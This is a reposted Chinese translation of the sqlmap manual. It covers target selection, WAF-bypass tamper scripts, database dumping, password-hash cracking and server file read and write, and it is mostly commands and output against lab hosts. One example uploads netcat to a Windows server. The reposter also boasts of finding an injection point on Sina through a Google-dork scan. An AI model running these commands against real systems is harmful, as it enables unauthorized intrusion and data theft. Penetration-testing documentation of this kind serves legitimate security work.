sqlmap用戶手冊
說明:本文為轉載,對原文中一些明顯的拼寫錯誤進行修正旋廷,并標注對自己有用的信息鸠按。
===================================================================
當給sqlmap這么一個url (http://192.168.136.131/sqlmap/mysql/get_int.php?id=1) 的時候,它會:
1饶碘、判斷可注入的參數(shù)
2目尖、判斷可以用那種SQL注入技術來注入
3、識別出哪種數(shù)據庫
4扎运、根據用戶選擇瑟曲,讀取哪些數(shù)據
sqlmap支持五種不同的注入模式:
1、基于布爾的盲注豪治,即可以根據返回頁面判斷條件真假的注入洞拨。
2、基于時間的盲注负拟,即不能根據頁面返回內容判斷任何信息烦衣,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷。
3掩浙、基于報錯注入花吟,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中厨姚。
4衅澈、聯(lián)合查詢注入,可以使用union的情況下的注入谬墙。
5今布、堆查詢注入,可以同時執(zhí)行多條語句的執(zhí)行時的注入芭梯。
sqlmap支持的數(shù)據庫有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
可以提供一個簡單的URL险耀,Burp或WebScarab請求日志文件,文本文檔中的完整http請求或者Google的搜索玖喘,匹配出結果頁面甩牺,也可以自己定義一個正則來判斷那個地址去測試。
測試GET參數(shù)累奈,POST參數(shù)贬派,HTTP Cookie參數(shù),HTTP User-Agent頭和HTTP Referer頭來確認是否有SQL注入澎媒,它也可以指定用逗號分隔的列表的具體參數(shù)來測試搞乏。
可以設定HTTP(S)請求的并發(fā)數(shù),來提高盲注時的效率戒努。
Youtube上有人做的使用sqlmap的視頻:
http://www.youtube.com/user/inquisb/videos
http://www.youtube.com/user/stamparm/videos
使用sqlmap的實例文章:
http://unconciousmind.blogspot.com/search/label/sqlmap
可以點擊https://github.com/sqlmapproject/sqlmap/tarball/master下載最新版本sqlmap请敦。
也可以使用git來獲取sqlmap
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
之后可以直接使用命令來更新
python sqlmap.py --update
或者
git pull
更新sqlmap
如果你想觀察sqlmap對一個點是進行了怎樣的嘗試判斷以及讀取數(shù)據的镐躲,可以使用-v參數(shù)。
共有七個等級侍筛,默認為1:
0萤皂、只顯示python錯誤以及嚴重的信息。
1匣椰、同時顯示基本信息和警告信息裆熙。(默認)
2、同時顯示debug信息禽笑。
3入录、同時顯示注入的payload。
4佳镜、同時顯示HTTP請求僚稿。
5、同時顯示HTTP響應頭邀杏。
6贫奠、同時顯示HTTP響應頁面。
如果你想看到sqlmap發(fā)送的測試payload最好的等級就是3望蜡。
獲取目標方式
目標URL
參數(shù):-u或者--url
格式:http(s)://targeturl[:port]/[…]
例如:python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs --users
從Burp或者WebScarab代理中獲取日志
參數(shù):-l
可以直接吧Burp proxy或者WebScarab proxy中的日志直接倒出來交給sqlmap來一個一個檢測是否有注入唤崭。
從文本中獲取多個目標掃描
參數(shù):-m
文件中保存url格式如下,sqlmap會一個一個檢測
www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*
從文件中加載HTTP請求
參數(shù):-r
sqlmap可以從一個文本文件中獲取HTTP請求脖律,這樣就可以跳過設置一些其他參數(shù)(比如cookie谢肾,POST數(shù)據,等等)小泉。
比如文本文件內如下:
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
當請求是HTTPS的時候你需要配合這個--force-ssl參數(shù)來使用芦疏,或者你可以在Host頭后門加上:443
處理Google的搜索結果
參數(shù):-g
sqlmap可以測試注入Google的搜索結果中的GET參數(shù)(只獲取前100個結果)。
例子:
python sqlmap.py -g "inurl:\".php?id=1\""
(很牛B的功能微姊,測試了一下酸茴,第十幾個就找到新浪的一個注入點)
此外可以使用-c參數(shù)加載sqlmap.conf文件里面的相關配置。
請求
http數(shù)據
參數(shù):--data
此參數(shù)是把數(shù)據以POST方式提交兢交,sqlmap會像檢測GET參數(shù)一樣檢測POST的參數(shù)薪捍。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
參數(shù)拆分字符
參數(shù):--param-del
當GET或POST的數(shù)據需要用其他字符分割測試參數(shù)的時候需要用到此參數(shù)。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
HTTP cookie頭
參數(shù):--cookie,--load-cookies,--drop-set-cookie
這個參數(shù)在以下兩個方面很有用:
1配喳、web應用需要登陸的時候酪穿。
2、你想要在這些頭參數(shù)中測試SQL注入時晴裹。
可以通過抓包把cookie獲取到被济,復制出來,然后加到--cookie參數(shù)里涧团。
在HTTP請求中只磷,遇到Set-Cookie的話经磅,sqlmap會自動獲取并且在以后的請求中加入,并且會嘗試SQL注入钮追。
如果你不想接受Set-Cookie可以使用--drop-set-cookie參數(shù)來拒接馋贤。
當你使用--cookie參數(shù)時,當返回一個Set-Cookie頭的時候畏陕,sqlmap會詢問你用哪個cookie來繼續(xù)接下來的請求。當--level的參數(shù)設定為2或者2以上的時候仿滔,sqlmap會嘗試注入Cookie參數(shù)惠毁。
HTTP User-Agent頭
參數(shù):--user-agent,--random-agent
默認情況下sqlmap的HTTP請求頭中User-Agent值是:
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
可以使用--user-anget參數(shù)來修改,同時也可以使用--random-agnet參數(shù)來隨機的從./txt/user-agents.txt中獲取崎页。
當--level參數(shù)設定為3或者3以上的時候鞠绰,會嘗試對User-Angent進行注入。
HTTP Referer頭
參數(shù):--referer
sqlmap可以在請求中偽造HTTP中的referer飒焦,當--level參數(shù)設定為3或者3以上的時候會嘗試對referer注入蜈膨。
額外的HTTP頭
參數(shù):--headers
可以通過--headers參數(shù)來增加額外的http頭
HTTP認證保護
參數(shù):--auth-type,--auth-cred
這些參數(shù)可以用來登陸HTTP的認證保護支持三種方式:
1、Basic
2牺荠、Digest
3翁巍、NTLM
例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"
HTTP協(xié)議的證書認證
參數(shù):--auth-cert
當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file休雌,cert_file灶壶。
key_file是格式為PEM文件,包含著你的私鑰杈曲,cert_file是格式為PEM的連接文件驰凛。
HTTP(S)代理
參數(shù):--proxy,--proxy-cred和--ignore-proxy
使用--proxy代理是格式為:http://url:port。
當HTTP(S)代理需要認證是可以使用--proxy-cred參數(shù):username:password担扑。
--ignore-proxy拒絕使用本地局域網的HTTP(S)代理恰响。
HTTP請求延遲
參數(shù):--delay
可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒涌献,默認是沒有延遲的胚宦。
設定超時時間
參數(shù):--timeout
可以設定一個HTTP(S)請求超過多久判定為超時,10.5表示10.5秒洁奈,默認是30秒间唉。
設定重試超時
參數(shù):--retries
當HTTP(S)超時時,可以設定重新嘗試連接次數(shù)利术,默認是3次呈野。
設定隨機改變的參數(shù)值
參數(shù):--randomize
可以設定某一個參數(shù)值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣印叁。
利用正則過濾目標網址
參數(shù):--scope
例如:
python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
避免過多的錯誤請求被屏蔽
參數(shù):--safe-url,--safe-freq
有的web應用程序會在你多次訪問錯誤的請求時屏蔽掉你以后的所有請求被冒,這樣在sqlmap進行探測或者注入的時候可能造成錯誤請求而觸發(fā)這個策略军掂,導致以后無法進行。
繞過這個策略有兩種方式:
1昨悼、--safe-url:提供一個安全不錯誤的連接蝗锥,每隔一段時間都會去訪問一下。
2率触、--safe-freq:提供一個安全不錯誤的連接终议,每次測試請求之后都會再訪問一邊安全連接。
關掉URL參數(shù)值編碼
參數(shù):--skip-urlencode
根據參數(shù)位置葱蝗,他的值默認將會被URL編碼穴张,但是有些時候后端的web服務器不遵守RFC標準,只接受不經過URL編碼的值两曼,這時候就需要用--skip-urlencode參數(shù)皂甘。
每次請求時候執(zhí)行自定義的python代碼
參數(shù):--eval
在有些時候,需要根據某個參數(shù)的變化悼凑,而修改另個一參數(shù)偿枕,才能形成正常的請求,這時可以用--eval參數(shù)在每次請求時根據所寫python代碼做完修改后請求户辫。
例子:
python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
上面的請求就是每次請求時根據id參數(shù)值渐夸,做一次md5后作為hash參數(shù)的值。
注入
測試參數(shù)
參數(shù):-p,--skip
sqlmap默認測試所有的GET和POST參數(shù)渔欢,當--level的值大于等于2的時候也會測試HTTP Cookie頭的值捺萌,當大于等于3的時候也會測試User-Agent和HTTP Referer頭的值。但是你可以手動用-p參數(shù)設置想要測試的參數(shù)膘茎。例如: -p "id,user-anget"
當你使用--level的值很大但是有個別參數(shù)不想測試的時候可以使用--skip參數(shù)桃纯。
例如:--skip="user-angent.referer"
在有些時候web服務器使用了URL重寫,導致無法直接使用sqlmap測試參數(shù),可以在想測試的參數(shù)后面加*
例如:
python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
sqlmap將會測試value1的位置是否可注入。
指定數(shù)據庫
參數(shù):--dbms
默認情況系sqlmap會自動的探測web應用后端的數(shù)據庫是什么壶谒,sqlmap支持的數(shù)據庫有:
MySQL汤纸、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、SQLite谜诫、Firebird、Sybase攻旦、SAP MaxDB喻旷、DB2
指定數(shù)據庫服務器系統(tǒng)
參數(shù):--os
默認情況下sqlmap會自動的探測數(shù)據庫服務器系統(tǒng),支持的系統(tǒng)有:Linux牢屋、Windows且预。
指定無效的大數(shù)字
參數(shù):--invalid-bignum
當你想指定一個報錯的數(shù)值時槽袄,可以使用這個參數(shù),例如默認情況系id=13锋谐,sqlmap會變成id=-13來報錯遍尺,你可以指定比如id=9999999來報錯。
指定無效的邏輯
參數(shù):--invalid-logical
原因同上涮拗,可以指定id=13把原來的id=-13的報錯改成id=13 AND 18=19乾戏。
注入payload
參數(shù):--prefix,--suffix
在有些環(huán)境中,需要在注入的payload的前面或者后面加一些字符三热,來保證payload的正常執(zhí)行歧蕉。
例如,代碼中是這樣調用數(shù)據庫的:
$query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
這時你就需要--prefix和--suffix參數(shù)了:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc"
這樣執(zhí)行的SQL語句變成:
$query = "SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";
修改注入的數(shù)據
參數(shù):--tamper
sqlmap除了使用CHAR()函數(shù)來防止出現(xiàn)單引號之外沒有對注入的數(shù)據修改康铭,你可以使用--tamper參數(shù)對數(shù)據做修改來繞過WAF等設備。
下面是一個tamper腳本的格式:
# Needed imports
from lib.core.enums import PRIORITY
# Define which is the order of application of tamper scripts against
# the payload
__priority__ = PRIORITY.NORMAL
def tamper(payload):
'''
Description of your tamper script
'''
retVal = payload
# your code to tamper the original payload
# return the tampered payload
return retVal
可以查看 tamper/ 目錄下的有哪些可用的腳本
例如:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
[hh:mm:03] [DEBUG] cleaning up configuration parameters
[hh:mm:03] [INFO] loading tamper script 'between'
[hh:mm:03] [INFO] loading tamper script 'randomcase'
[hh:mm:03] [INFO] loading tamper script 'space2comment'
[...]
[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
[...]
[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
group/**/bY/**/x)a)
[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING
clause' injectable
[...]
探測
探測等級
參數(shù):--level
共有五個等級赌髓,默認為1从藤,sqlmap使用的payload可以在xml/payloads.xml中看到,你也可以根據相應的格式添加自己的payload锁蠕。
這個參數(shù)不僅影響使用哪些payload同時也會影響測試的注入點夷野,GET和POST的數(shù)據都會測試,HTTP Cookie在level為2的時候就會測試荣倾,HTTP User-Agent/Referer頭在level為3的時候就會測試悯搔。
總之在你不確定哪個payload或者參數(shù)為注入點的時候,為了保證全面性舌仍,建議使用高的level值妒貌。
風險等級
參數(shù):--risk
共有四個風險等級,默認是1會測試大部分的測試語句铸豁,2會增加基于事件的測試語句灌曙,3會增加OR語句的SQL注入測試。
在有些時候节芥,例如在UPDATE的語句中在刺,注入一個OR的測試語句,可能導致更新的整個表头镊,可能造成很大的風險蚣驼。
測試的語句同樣可以在xml/payloads.xml中找到,你也可以自行添加payload相艇。
頁面比較
參數(shù):--string,--not-string,--regexp,--code
默認情況下sqlmap通過判斷返回頁面的不同來判斷真假颖杏,但有時候這會產生誤差,因為有的頁面在每次刷新的時候都會返回不同的代碼坛芽,比如頁面當中包含一個動態(tài)的廣告或者其他內容输玷,這會導致sqlmap的誤判队丝。此時用戶可以提供一個字符串或者一段正則匹配,在原始頁面與真條件下的頁面都存在的字符串欲鹏,而錯誤頁面中不存在(使用--string參數(shù)添加字符串机久,--regexp添加正則),同時用戶可以提供一段字符串在原始頁面與真條件下的頁面都不存在的字符串赔嚎,而錯誤頁面中存在的字符串(--not-string添加)膘盖。用戶也可以提供真與假條件返回的HTTP狀態(tài)碼不一樣來注入,例如尤误,響應200的時候為真侠畔,響應401的時候為假,可以添加參數(shù)--code=200损晤。
參數(shù):--text-only,--titles
有些時候用戶知道真條件下的返回頁面與假條件下返回頁面是不同位置在哪里可以使用--text-only(HTTP響應體中不同)--titles(HTML的title標簽中不同)软棺。
注入技術
測試是否是注入
參數(shù):--technique
這個參數(shù)可以指定sqlmap使用的探測技術,默認情況下會測試所有的方式尤勋。
支持的探測方式如下:
B: Boolean-based blind SQL injection(布爾型注入)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(可聯(lián)合查詢注入)
S: Stacked queries SQL injection(可多語句查詢注入)
T: Time-based blind SQL injection(基于時間延遲注入)
設定延遲注入的時間
參數(shù):--time-sec
當使用基于時間的盲注時喘落,時刻使用--time-sec參數(shù)設定延時時間,默認是5秒最冰。
設定UNION查詢字段數(shù)
參數(shù):--union-cols
默認情況下sqlmap測試UNION查詢注入會測試1-10個字段數(shù)瘦棋,當--level為5的時候他會增加測試到50個字段數(shù)。設定--union-cols的值應該是一段整數(shù)暖哨,如:12-16赌朋,是測試12-16個字段數(shù)。
設定UNION查詢使用的字符
參數(shù):--union-char
默認情況下sqlmap針對UNION查詢的注入會使用NULL字符篇裁,但是有些情況下會造成頁面返回失敗沛慢,而一個隨機整數(shù)是成功的,這是你可以用--union-char只定UNION查詢的字符达布。
二階SQL注入
參數(shù):--second-order
有些時候注入點輸入的數(shù)據看返回結果的時候并不是當前的頁面颠焦,而是另外的一個頁面,這時候就需要你指定到哪個頁面獲取響應判斷真假往枣。--second-order后門跟一個判斷頁面的URL地址伐庭。
列數(shù)據
合并起來使用:-current-user --current-db --is-dba --users
標志
參數(shù):-b,--banner
大多數(shù)的數(shù)據庫系統(tǒng)都有一個函數(shù)可以返回數(shù)據庫的版本號,通常這個函數(shù)是version()或者變量@@version這主要取決與是什么數(shù)據庫分冈。
用戶
參數(shù):-current-user
在大多數(shù)據庫中可以獲取到管理數(shù)據的用戶圾另。
當前數(shù)據庫
參數(shù):--current-db
返還當前連接的數(shù)據庫。
當前用戶是否為管理用
參數(shù):--is-dba
判斷當前的用戶是否為管理雕沉,是的話會返回True集乔。
列數(shù)據庫管理用戶
參數(shù):--users
當前用戶有權限讀取包含所有用戶的表的權限時,就可以列出所有管理用戶。
列出并破解數(shù)據庫用戶的hash
參數(shù):--passwords
當前用戶有權限讀取包含用戶密碼的表的權限時扰路,sqlmap會現(xiàn)列舉出用戶尤溜,然后列出hash,并嘗試破解汗唱。
例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1
[...]
back-end DBMS: PostgreSQL
[hh:mm:38] [INFO] fetching database users password hashes
do you want to use dictionary attack on retrieved password hashes? [Y/n/q] y
[hh:mm:42] [INFO] using hash method: 'postgres_passwd'
what's the dictionary's location? [/software/sqlmap/txt/wordlist.txt]
[hh:mm:46] [INFO] loading dictionary from: '/software/sqlmap/txt/wordlist.txt'
do you want to use common password suffixes? (slow!) [y/N] n
[hh:mm:48] [INFO] starting dictionary attack (postgres_passwd)
[hh:mm:49] [INFO] found: 'testpass' for user: 'testuser'
[hh:mm:50] [INFO] found: 'testpass' for user: 'postgres'
database management system users password hashes:
[*] postgres [1]:
password hash: md5d7d880f96044b72d0bba108ace96d1e4
clear-text password: testpass
[*] testuser [1]:
password hash: md599e5ea7a6f7c3269995cba3927fd0093
clear-text password: testpass
可以看到sqlmap不僅識別出數(shù)據庫的用戶跟密碼宫莱,同時也識別出是PostgreSQL數(shù)據庫,并詢問用戶是否采用字典爆破的方式進行破解哩罪,這個爆破已經支持Oracle和Microsoft SQL Server授霸。
也可以提供-U參數(shù)來指定爆破哪個用戶的hash。
列出數(shù)據庫管理員權限
參數(shù):--privileges
當前用戶有權限讀取包含所有用戶的表的權限時际插,很可能列舉出每個用戶的權限碘耳,sqlmap將會告訴你哪個是數(shù)據庫的超級管理員。也可以用-U參數(shù)指定你想看哪個用戶的權限框弛。
列出數(shù)據庫管理員角色
參數(shù):--roles
當前用戶有權限讀取包含所有用戶的表的權限時辛辨,很可能列舉出每個用戶的角色,也可以用-U參數(shù)指定你想看哪個用戶的角色瑟枫。
僅適用于當前數(shù)據庫是Oracle的時候斗搞。
列出數(shù)據庫系統(tǒng)的數(shù)據庫
參數(shù):--dbs
當前用戶有權限讀取包含所有數(shù)據庫列表信息的表中的時候,即可列出所有的數(shù)據庫力奋。
列舉數(shù)據庫表
參數(shù):--tables,--exclude-sysdbs,-D
當前用戶有權限讀取包含所有數(shù)據庫表信息的表中的時候,即可列出一個特定數(shù)據的所有表幽七。
如果你不提供-D參數(shù)來列指定的一個數(shù)據的時候景殷,sqlmap會列出數(shù)據庫所有庫的所有表。
--exclude-sysdbs參數(shù)是指包含了所有的系統(tǒng)數(shù)據庫澡屡。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是數(shù)據庫名稱猿挚。
列舉數(shù)據庫表中的字段
參數(shù):--columns,-C,-T,-D
當前用戶有權限讀取包含所有數(shù)據庫表信息的表中的時候,即可列出指定數(shù)據庫表中的字段驶鹉,同時也會列出字段的數(shù)據類型绩蜻。
如果沒有使用-D參數(shù)指定數(shù)據庫時,默認會使用當前數(shù)據庫室埋。
列舉一個SQLite的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name
[...]
Database: SQLite_masterdb
Table: users
[3 columns]
+---------+---------+
| Column? | Type? ? |
+---------+---------+
| id? ? ? | INTEGER |
| name? ? | TEXT? ? |
| surname | TEXT? ? |
+---------+---------+
列舉數(shù)據庫系統(tǒng)的架構
參數(shù):--schema,--exclude-sysdbs
用戶可以用此參數(shù)獲取數(shù)據庫的架構办绝,包含所有的數(shù)據庫,表和字段姚淆,以及各自的類型孕蝉。
加上--exclude-sysdbs參數(shù),將不會獲取數(shù)據庫自帶的系統(tǒng)庫內容腌逢。
MySQL例子:
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs
[...]
Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column? ? ? | Type? ? |
+-------------+---------+
| cid? ? ? ? | int(11) |
| mysignature | text? ? |
| password? ? | text? ? |
| username? ? | text? ? |
+-------------+---------+
Database: owasp10
Table: blogs_table
[4 columns]
+--------------+----------+
| Column? ? ? | Type? ? |
+--------------+----------+
| date? ? ? ? | datetime |
| blogger_name | text? ? |
| cid? ? ? ? ? | int(11)? |
| comment? ? ? | text? ? |
+--------------+----------+
Database: owasp10
Table: hitlog
[6 columns]
+----------+----------+
| Column? | Type? ? |
+----------+----------+
| date? ? | datetime |
| browser? | text? ? |
| cid? ? ? | int(11)? |
| hostname | text? ? |
| ip? ? ? | text? ? |
| referer? | text? ? |
+----------+----------+
Database: testdb
Table: users
[3 columns]
+---------+---------------+
| Column? | Type? ? ? ? ? |
+---------+---------------+
| id? ? ? | int(11)? ? ? |
| name? ? | varchar(500)? |
| surname | varchar(1000) |
+---------+---------------+
[...]
獲取表中數(shù)據個數(shù)
參數(shù):--count
有時候用戶只想獲取表中的數(shù)據個數(shù)而不是具體的內容降淮,那么就可以使用這個參數(shù)。
列舉一個Microsoft SQL Server例子:
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
[...]
Database: testdb
+----------------+---------+
| Table? ? ? ? ? | Entries |
+----------------+---------+
| dbo.users? ? ? | 4? ? ? |
| dbo.users_blob | 2? ? ? |
+----------------+---------+
獲取整個表的數(shù)據
參數(shù):--dump,-C,-T,-D,--start,--stop,--first,--last
如果當前管理員有權限讀取數(shù)據庫其中的一個表的話搏讶,那么就能獲取整個表的所有內容佳鳖。
使用-D,-T參數(shù)指適定想要獲取哪個庫的哪個表霍殴,不用-D參數(shù)時,默認使用當前庫系吩。
列舉一個Firebird的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
[...]
Database: Firebird_masterdb
Table: USERS
[4 entries]
+----+--------+------------+
| ID | NAME? | SURNAME? ? |
+----+--------+------------+
| 1? | luther | blisset? ? |
| 2? | fluffy | bunny? ? ? |
| 3? | wu? ? | ming? ? ? |
| 4? | NULL? | nameisnull |
+----+--------+------------+
可以獲取指定庫中的所有表的內容来庭,只用-dump跟-D參數(shù)(不使用-T與-C參數(shù))。
也可以用-dump跟-C獲取指定的字段內容淑玫。
sqlmap為每個表生成了一個CSV文件巾腕。
如果你只想獲取一段數(shù)據,可以使用--start和--stop參數(shù)絮蒿,例如尊搬,你只想獲取第一段數(shù)據可hi使用--stop 1,如果想獲取第二段與第三段數(shù)據土涝,使用參數(shù) --start 1 --stop 3佛寿。
也可以用--first與--last參數(shù),獲取第幾個字符到第幾個字符的內容但壮,如果你想獲取字段中地三個字符到第五個字符的內容冀泻,使用--first 3 --last 5,只在盲注的時候使用蜡饵,因為其他方式可以準確的獲取注入內容弹渔,不需要一個字符一個字符的猜解。
獲取所有數(shù)據庫表的內容
參數(shù):--dump-all,--exclude-sysdbs
使用--dump-all參數(shù)獲取所有數(shù)據庫表的內容溯祸,可同時加上--exclude-sysdbs只獲取用戶數(shù)據庫的表肢专,需要注意在Microsoft SQL Server中master數(shù)據庫沒有考慮成為一個系統(tǒng)數(shù)據庫,因為有的管理員會把他當初用戶數(shù)據庫一樣來使用它焦辅。
搜索字段博杖,表,數(shù)據庫
參數(shù):--search,-C,-T,-D
--search可以用來尋找特定的數(shù)據庫名筷登,所有數(shù)據庫中的特定表名剃根,所有數(shù)據庫表中的特定字段。
可以在一下三種情況下使用:
-C后跟著用逗號分割的列名前方,將會在所有數(shù)據庫表中搜索指定的列名狈醉。
-T后跟著用逗號分割的表名,將會在所有數(shù)據庫中搜索指定的表名
-D后跟著用逗號分割的庫名惠险,將會在所有數(shù)據庫中搜索指定的庫名舔糖。
運行自定義的SQL語句
參數(shù):--sql-query,--sql-shell
sqlmap會自動檢測確定使用哪種SQL注入技術,如何插入檢索語句莺匠。
如果是SELECT查詢語句金吗,sqlap將會輸出結果。如果是通過SQL注入執(zhí)行其他語句,需要測試是否支持多語句執(zhí)行SQL語句摇庙。
列舉一個Mircrosoft SQL Server 2000的例子:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':? ? 'foo'
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':? ? 'foo, bar'
爆破
暴力破解表名
參數(shù):--common-tables
當使用--tables無法獲取到數(shù)據庫的表時旱物,可以使用此參數(shù)。
通常是如下情況:
1卫袒、MySQL數(shù)據庫版本小于5.0宵呛,沒有information_schema表。
2夕凝、數(shù)據庫是Microssoft Access宝穗,系統(tǒng)表MSysObjects是不可讀的(默認)。
3码秉、當前用戶沒有權限讀取系統(tǒng)中保存數(shù)據結構的表的權限逮矛。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加转砖。
列舉一個MySQL 4.1的例子:
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:? ? '4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
暴力破解列名
參數(shù):--common-columns
與暴力破解表名一樣须鼎,暴力跑的列名在txt/common-columns.txt中。
用戶自定義函數(shù)注入
參數(shù):--udf-inject,--shared-lib
你可以通過編譯MySQL注入你自定義的函數(shù)(UDFs)或PostgreSQL在windows中共享庫府蔗,DLL晋控,或者Linux/Unix中共享對象,sqlmap將會問你一些問題姓赤,上傳到服務器數(shù)據庫自定義函數(shù)赡译,然后根據你的選擇執(zhí)行他們,當你注入完成后不铆,sqlmap將會移除它們蝌焚。
系統(tǒng)文件操作
從數(shù)據庫服務器中讀取文件
參數(shù):--file-read
當數(shù)據庫為MySQL,PostgreSQL或Microsoft SQL Server狂男,并且當前用戶有權限使用特定的函數(shù)综看。讀取的文件可以是文本也可以是二進制文件品腹。
列舉一個Microsoft SQL Server 2005的例子:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:? ? '/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
把文件上傳到數(shù)據庫服務器中
參數(shù):--file-write,--file-dest
當數(shù)據庫為MySQL岖食,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數(shù)舞吭。上傳的文件可以是文本也可以是二進制文件泡垃。
列舉一個MySQL的例子:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
